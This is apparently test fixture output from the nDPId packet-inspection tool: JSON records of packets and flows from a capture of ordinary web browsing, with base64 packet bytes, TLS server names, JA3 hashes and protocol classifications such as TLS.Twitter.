+00469{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2645,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":829410,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1dXkT\/jDfEoBJXgChEAAACBAV4AQMDAwQCCArC1z+HTX6NVQ=="} +00455{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2646,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":829478,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MN8SdXV5FgBAB+6w4AAABAQgKTX6NcsLXP4c="} +01150{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2647,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":829706,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBEqMAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABo9CrI3c4Bu\/+MN8SdXV5FgBgB+6QUAAABAQgKTX6NcsLXP4cWAwECAAEAAfwDAzHyJHiw4CvySm\/wmMZSj93xjRQIb\/7lSao6BEVVselnIDSsTTPKNSgpPqgoZjsi0To1XtuBv2kZEOLdyhUMYBkRACDKyhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZO6ugAAAAAAHAAaAAAXc3luZGljYXRpb24udHdpdHRlci5jb20AFwAA\/wEAAQAACgAKAAiqqgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKaqqAAEAAB0AINkx20sEA6mpd6uYYzNH4dLwnJuropRMU+claKQ8nqNoAC0AAgEBACsACwrKygMEAwMDAgMBABsAAwIAAkpKAAEAABUAxQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00836{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2647,"source":"reddit.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":4,"flow_first_seen":1605291687800,"flow_last_seen":1605291687829,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::68f4:2ac8","src_port":56782,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Twitter","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"syndication.twitter.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02337{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2651,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":852902,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAAGhTs9EqAcsBIEmLB5kd7IUo3\/YpAbuAylJzVUk0Stu9gBgLMOWBAAABAQgKwtc\/nlvEqQYWAwMAegIAAHYDA986N90EPY0pqv1uo704Oc7mDSIMAuof+2zXEsC9vjOtIAaF+rCsUiCOU8bqK7O8i4N8LINKpStTbOqmpKKpf9E2EwIAAC4AKwACAwQAMwAkAB0AIEfVGQEfjWG0TCcA8PWASSiXGqUaFxrcUf0h1+vwXiAKFAMDAAEBFwMDADSHjXx66PAlT7YZdb4Edet48yvNoM0j6Cb2hpfeIGPYWQJCgsVspml\/1p3iFmybFSMVs2h2FwMDCmEhUhqhV+2yz0cSbkQH9lav7bT82kgBbWAw1IYOOT9B3JxWFWmXD7uEuPjPcdmhslXypV4rmKGSQy06IdRrUi+wsd+JJNR7bCFaCoiTtJCU1vtx+6tWf1SFJh8gMiN8Z0h+K5ZuYc9nVzTuO36F4tydcCBkt93LtK2lW2nIPgmGvMVq7wzox368u8qVGrmKNLun\/5VQI2v1JJ8OWMHYEMDaQ5SPuaIoyebA0fSrb4ySYZ8p6iQHvbX9jKM5dD\/8mxVW9X7fa8Hr8O0TKvymknDqlsWIDA8oM4wlpTT7aOQ+JdozUrASqV6M9GVWIpQFshAkgZ9yal2PLsP53JZmkHf3i1bO7l3dU0SODPcisKAH1aKfoqk5tuLox\/XiHvBOBzi9ZT6u1P\/dsfon0a+QfFedH3NCkZUyPzjkoretjUVGXZ362zN9X6TDT2zTkoF3DkJN62JdkU6+S21UdnbtHedmDr02FXyahzjO2\/y1xggtUwO4iUukN5Xb2hNUxI4Q0qayndGowMyr0CPJpC\/8QQLc4\/p1h09fosbxbnLPXSFJRqDpA\/VSuVQvhsn47sJ2tFr9XaSfOtWQDieEsdzTagfMkmJWl6gSwNvVAyJS\/SbcGY\/T366GKLpbsEzcIqxn1umDHFdeIuFYwMHTxJWT0tefr6zlqCe+ngeRoJtgUydMN3K9J252bIEg2ufM0VEdvlq9VF1TpSSAFSiMvM\/ptHIk3AsyNSbs8eC0F1EsiRQ6ZzlP+ofSEXD3lB4wioQ4bRWVLVqIQfHsZKm9knD9BRUnG6QagZhIuk+obzg1cjqvl8O5J6htqt6iS4QM5FX2YqzidycYBCBhX4DN0GOuxvqs7V4U2tgEgKubyqGUKstfW6hXL88PHupDuyehtbuHkwmuw02E2OsdvfHPL46lNQOC7Zq8742UYfo9fmX0owuiDEV3poG8JFG0LFgIhBTm4GGh7Oguj52K2fH3IK421Bmw3JYTJuTUK8Hc7ws6tMddeOqAJi5MgVcLuiV5Tj\/53PeRMrJdzy76F60HBidjsseom3SrvHnMQPXNfdk60b+fN\/Ll\/9+FQjN+2AaOMJpindaTt9FGzo55itFdo5rUW2FcZNf7XxDcriYmAzpvplUiLUllOkRUXg7DFVPLw08Fyp\/+TdCKeTzX0Nb+jwZb8hfguJJqyDMq1VlpSD03XF\/NFbLJ3pF1+MwrPeiFNekNKaewi5ljgkMFym\/oj3e+h14PvKPqR4ZrhZx+dDoHWI6zpHlWXfg9QkUs2Dpaid8MXPNRWS+xyNz0CpW8Sf78ifbVeQ1xCAhYR0hbCJerZ\/3Rx280wUlr9dL4qu\/4wwIsBxkk2ivD7f7KEkMvblJ8x+BpPXJLUSOmV3JHLqIOIXU\/U9yrKaS680U4bwEnouZ7ulUmWb2kdUgOOd7oIBkdiv8heVUWYKirzTpaVNJmivPSsKv6ffjOXtermLJsu6jXg4gDCHkoVeEsRUcpim+o9irST+Wb6JAGBVhDDotAhNlhrZGK0Mzcq8Vj5aSHv9geS8OhTYMGZJMgjvvOLgiEkE71dsvB7E5Ms2NN\/sF52COj0C04NGu8wFrzrQ=="} +00854{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2651,"source":"reddit.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":6,"flow_first_seen":1605291687761,"flow_last_seen":1605291687852,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6853:b3d1","src_port":32970,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.aaxdetect.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02345{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2652,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":852903,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAAGhTs9EqAcsBIEmLB5kd7IUo3\/YpAbuAylJzWrU0Stu9gBgLMErUAAABAQgKwtc\/nlvEqQaVsDJvEjoBJZ8O74LVWbPu52shuHoezZiRNYe8v39p9xgkogVO4HhVmcEfJD4xOuDwKoi6\/EAzKnglKcpuYeYRtmawDn9nsJvWhsaMdLbxN2A4rDDF5ER0uoUY2AFQXXlSqNd+pmcosCBVtBCgSJtppyKbrcxz8lTWpT+WobfriCBaBBsBNmAJfGWkSNN9YN6BxpkRvQyk2MXjQc+o6vPgFRNlCdUlc68I8kocK0WpGnn58HPyARSXdgz7qY1cevziWTH+f1knzj\/29KF96knWhHecihloApDsJ\/oKuN740ei\/c2Pop0OxOODVbksImLfPiOtq15H9nJzbz9gjcBc1Dtj8xbYZmrZwrsevo3YoDtyBIkJvbsaTy57ERjoD\/2ltjfFps9lvNCIv5\/3EjC3Ax5UQNyBwHGVcqjC01sFOeTR9RshGzbGIrQ0rsBnH\/MEYAo94cWUwBHDosfyI5J1H8QK7L0meHo1L\/87Bl9ACSyADTV3yWEUl0o3ysovhowCVoSS3mWqbpeT6OEUZ9oX6+zp3Ur7CV5bsMLRQ6YufarpGmAdDMatzVqOyIVEKqVx44SqfGhuKjvySq3+3w30A7n\/ZIQT\/3jMk39RexlFHLDZQgRvOzXGqUZPSUcbIbyxv9W7hDf\/EdLatJCU\/I03EYlSj1MoK6qa2VGkxs6Z7GaLQJPMLVlNPwxO1Q1NNt1H++fNG2MbfW1FXWbgJIVJKkwLiIE\/xmnXj8e7nPHBFCq9AKj1GJ88Yj1FcCLYKQShz7QFOjL5PvcpDJzsV5e+YKudjd\/L8IsEM11RldDLJFbJHO1gj6WE9OnVbbhAKdcskAN\/exybNLb8gQ+8fnE7WkZ\/si1TRRxfD5Ny0wCA2sbe7Vp6YovmAx9Ph6LoGjI5Yl8+pY2g9herEVY2DUIz4gj\/1kBCR\/xjA+qVvmHyVdgR1PnSd2uRYAC8cb5\/\/JsHC9N5vZj3BWvcGR1Wx8bNITbCbHRiJdY4oO7fPFsxvh2ImIRlxu3JxR8gBWhMR+QfW8J7Nu2htf5mf63F1hiyjl8BpRqIK31HttYtZIZkVs4e1BXp1cXMR8QN+9QIkmhGN2nauT4dHrTn5eQlMQgO03lRPS1XqnCZB1F1qddp\/VfjHQt76Zg59RV6jjygJLOOPhdA2UOpISUPDZoIv0fPsvIyS+TJ\/DbEM4x9h9zFRBgQxWiYiH7w9V6nNms+1qwZVDHuF0bCFFrpC48x6xfGKzhItFNjMS5CIZM\/gp\/x1pf8fi6LqcQ\/lNrDNBA9GAX5Jnr1qpMDffId9EcufAd7yaKee+ebgavic9hF2xucU9CV+h7RjxWUAGTYu2968JjYZifgUJ83nuNZfKn0JN4SdsRBIN7vedMU05xIOwDvns5KsYF9BNJJMeE4unIqk1e6e3kXzI4oSaxiTXgMSn2LzpUw4+qvRwhm4ZLcTfqL5ha5UWPaoraJrxn+mZQPLon8jsLNaWC8wGsf\/4sFsyl0NPUKj0ot7lIVOrXS5POltVBiP13\/0iS7b3Ey2Cfu21oH4u2MQqYTgsv7sBAWsGlflbZcSyGWxCH36uM+qg5Gb2v3tskRM3K9Dpx23U3Xwxnrfe0LMviBy9uuIFrmNAnDSUkyqsP9IqGg1r4lXgor6HePy8lK9Ede4juRB3QKGr5qCX1WPW4097ddFsR2oe8VNZvChXJMgneNiXlHPW5d1blW0DH8xh1LA\/JN2i1yYVdsMorqUwpTKqsU9JjZNfioMNYg24x91zxIUL4DjMj0j1kbibhQ5Yfq7d1\/arT+OTeYmqZl0D2sjow0Xgxe4DmYKHL7m47jKM5MJoiBIGIz5ReV\/eSPj4r4o5+x3Lw=="} +00454{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2653,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":852932,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCTrZACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7PRgMoBuzRK271Sc1q1gBAB9cxuAAABAQgKW8SpRMLXP54="} +00454{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2654,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":852982,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCTrZACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7PRgMoBuzRK271Sc2AhgBAB8McHAAABAQgKW8SpRMLXP54="} +00803{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2655,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":853615,"pkt_caplen":338,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":338,"pkt_l4_len":284,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAARwGPQBk\/5sAAAAAAAAAAGhTs9EqAcsBIEmLB5kd7IUo3\/YpAbuAylJzYCE0Stu9gBgLMFTGAAABAQgKwtc\/nlvEqQZMO39y2YEtMwrD1hNK1gwyOawcrBdgg+uwa2UaP5emwVrlpL2Bu0MENPvXs3VR7m0OOpJ\/esXJLmLwZaiTavsQY6Hy6+3U8Ql6iTZOFwMDAGFdVvKrB1PAcxwOosv+FqAZSYlCJbjCI3sLpmttzH1hMzR1pZGxDhXdDuHmsS0kTeiZGJCggL\/qO8NHmWdjnz4epHcw6j8ApQ0+Sdw\/v1sInfQgrVHTPdTTCHz0ukgUdeKDFwMDAEU1pPpwpIx3j6wshpAVPzOj2IQ612idtI4LX\/vY7nZDjQ5ldJIKYd6Jp0MXFhV76Jj8LNKAs0LuAceKZOc95R\/\/cZbbna0="} +00455{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2657,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":853629,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCTrZACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7PRgMoBuzRK271Sc2EdgBAB9cYFAAABAQgKW8SpRcLXP54="} +00569{"flow_id":28,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2658,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":856761,"pkt_caplen":166,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":166,"pkt_l4_len":112,"pkt":"qtsDr8lk5EKm5WPyht1gCTrZAHAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7PRgMoBuzRK271Sc2EdgBgB9ckmAAABAQgKW8SpSMLXP54UAwMAAQEXAwMARXcxrEXgBPL2v15tl2nStBVqZ08\/OC5L7jjAkbsqzg\/g\/PKuN9sbeaW7ha2beU4SMEcj4ZYmpCEr9kJAmqNDBq51Wq4Hjw=="} +01072{"flow_id":28,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2659,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":856983,"pkt_caplen":542,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":542,"pkt_l4_len":488,"pkt":"qtsDr8lk5EKm5WPyht1gCTrZAegGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7PRgMoBuzRK3A1Sc2EdgBgB9ZqwAAABAQgKW8SpSMLXP54XAwMBw\/KIyo\/MhyNF5ruHWq19w3dyBG3aHOidRUPWd1+yRzOoOf2Kj3vjwTXANLT3BGQ9xcFGpSqcttZiE0emzCULZbDr46nEWH996D47yZ3HDgC0V6TUYpkrKs0k9nqGzG7RSN8R8VJqGqvnfnm6grCxPEWiztzuursEMmAahnAZjnK2N23TnAXn2r5PsxTkKg5o6w+x5Mz4s1mzmqhVm4LsVLm5Aqvt14BWax6q243Ps9tdz7ezyWL5MBW787PbARtF6Js9Lx+\/gTQv+myVxnwjBeWPq2Nfq10sOxuPDm0zi6R4TbTsV4jqrZ5x1LFh+mYw3sequ0HeriYvRSQvmgrhWvoOKwqyZTJMeEBPrV70+zIZvm9TqzbzNx4\/3zEzxXEPOMfSmRb93Fya5cOVBwCS7TQtvw4PunzSd9uj8G7n6r+1Fj4leEwJaU\/QfsziP+rxVSNcXc5BEJDCgy5FK18+AcjFhaUnfS5YzOKLTtrYwgWScPXIub2ggHiXcI2xu7vA2GRXvOeyHMD1gv9ndtX84KVx9NtNpmUjIJhKFXJNqCZILpaYr9ckjxx3bgNZo\/HeYccJ4VztYBxAT5OwSxfhBlpe8D8="} +00458{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2660,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":858949,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGj0KsgqAcsBIEmLB5kd7IUo3\/YpAbvdzp1dXkX\/jDnJgBALMKDhAAABAQgKwtc\/pE1+jXI="} +00458{"flow_id":28,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2856,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":893353,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGhTs9EqAcsBIEmLB5kd7IUo3\/YpAbuAylJzYR00StwNgBALOrxOAAABAQgKwtc\/vVvEqUg="} +00458{"flow_id":28,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2857,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":893354,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGhTs9EqAcsBIEmLB5kd7IUo3\/YpAbuAylJzYR00St3VgBALc7pKAAABAQgKwtc\/wFvEqUg="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2861,"source":"reddit.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1605291687896,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::2278:cf94","src_port":39626,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2861,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":896532,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gD27HACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAieM+UmsoBu3fYetUAAAAAoAL9ICsYAAACBAWgBAIIClOdBf4AAAAAAQMDBw=="} +00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2916,"source":"reddit.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1605291687931,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:806::200e","src_port":54862,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2916,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":931808,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCkMmACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1k4Bu9FF0vYAAAAAoAL9ILpIAAACBAWgBAIICnCSuGYAAAAAAQMDBw=="} +00470{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2917,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":932773,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAACJ4z5QqAcsBIEmLB5kd7IUo3\/YpAbuayhO+xPN32HrWoBJXgPVcAAACBAV4AQMDAwQCCArC1z\/tU50F\/g=="} +00454{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2918,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":932816,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD27HACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAieM+UmsoBu3fYetYTvsT0gBAB+3lKAAABAQgKU50GIsLXP+0="} +01148{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2919,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":933001,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gD27HAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAieM+UmsoBu3fYetYTvsT0gBgB+23VAAABAQgKU50GIsLXP+0WAwECAAEAAfwDAxJYusyWMNRYvoQ+T4tcugZ+135RcPMs1\/0JBeRbWLApILhMdGMSectfNYNoyEPWiVIYjZ7g96RKtpDC\/RD8oUA2ACBaWhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZN6egAAAAAAEQAPAAAMaWQucmxjZG4uY29tABcAAP8BAAEAAAoACgAIysoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACnKygABAAAdACC0arZ4rxNjn4Xd+ejLnNmuK7Q67NTZpqnUAPkLrcpuSgAtAAIBAQArAAsKWloDBAMDAwIDAQAbAAMCAALa2gABAAAVANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00808{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2919,"source":"reddit.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":4,"flow_first_seen":1605291687896,"flow_last_seen":1605291687933,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::2278:cf94","src_port":39626,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"id.rlcdn.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00525{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2920,"source":"reddit.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1605291687933,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2620:116:800d:21:f916:5049:f87f:108e","src_port":48648,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2920,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":933355,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBZTsACgGQCoBywEgSYsHmR3shSjf9ikmIAEWgA0AIfkWUEn4fxCOvggBu9JG6EoAAAAAoAL9IFfFAAACBAWgBAIICteKYnsAAAAAAQMDBw=="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2921,"source":"reddit.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1605291687934,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::1736:86f1","src_port":44264,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 